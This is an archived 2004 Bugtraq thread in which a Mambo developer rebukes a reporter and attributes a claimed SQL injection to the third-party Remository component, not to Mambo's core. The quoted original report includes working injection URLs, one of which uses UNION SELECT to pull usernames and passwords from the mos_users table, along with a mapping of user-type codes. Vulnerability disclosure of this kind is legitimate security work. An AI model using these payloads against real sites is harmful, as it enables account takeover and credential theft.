bugtraq - Re: Mambo Portal lasted version 4.5.1 (1.09) and lower vesion : SQL injection Vulnerability.

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Sun, 19 Sep 2004 13:10:49 -0500
From: Tim Broeker <tim@...ctricjet.com>
To: khoaimi <kh0aimi@...oo.com>
Cc: bugtraq@...urityfocus.com
Subject: Re: Mambo Portal lasted version 4.5.1 (1.09) and lower vesion :
	SQL injection Vulnerability.


Question:

Did you even bother to contact the vendor? Because if you had, you would
have been told that this is NOT a Mambo security flaw. 

It affects a third party add-on called Remository that is not part of
the core Mambo software. 

Please correct this security report, and also contact the developers of
Remository so that they can correct the flaw. If you don't know who the
developer of Remository is, you can find out through the site that you
hacked using this exploit. >:-| 

Tim Broeker
Mambo Developer


On Fri, 2004-09-17 at 22:39, khoaimi wrote:
> Vendor
> www.mamboportal.com
> Message from vendor : Mambo is one of the most powerful Open Source Content Management Systems on the planet. It is used all over the world for everything from simple websites to complex corporate applications. Mambo is easy to install, simple to manage, and reliable. 
> 
> Bug name : SQL injection
> Version : lastest Version 4.5.1(1.0.9) and lower.
> 
> Exploit :
> 
> http://www.mamboportal.com/index.php?option=com_remository&Itemid=27&func=fileinfo&parent=folder&filecatid=499%20and%201=0[SQL]/*
> 
> You can exploit from the table "mos_users" with the query below
> 
> http://www.mambosite.com/index.php?option=com_remository&Itemid=[id]&func=selectfolder&filecatid=[id]%20and%201=0%20union%20all%20select%201,2,3,4,username,6,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20mos_users%20where%20usertype=0/*
> 
> with the values of usertype : 
>  0 = superadministrator
>  1 = administrator
>  2 = editor
>  3 = user
>  5 = publisher
>  6 = manager
> 
> Vendor feedback :
> Not yet
> 
> Vendor patch :
> Not yet
> 
> khoai
> www.xfrog.org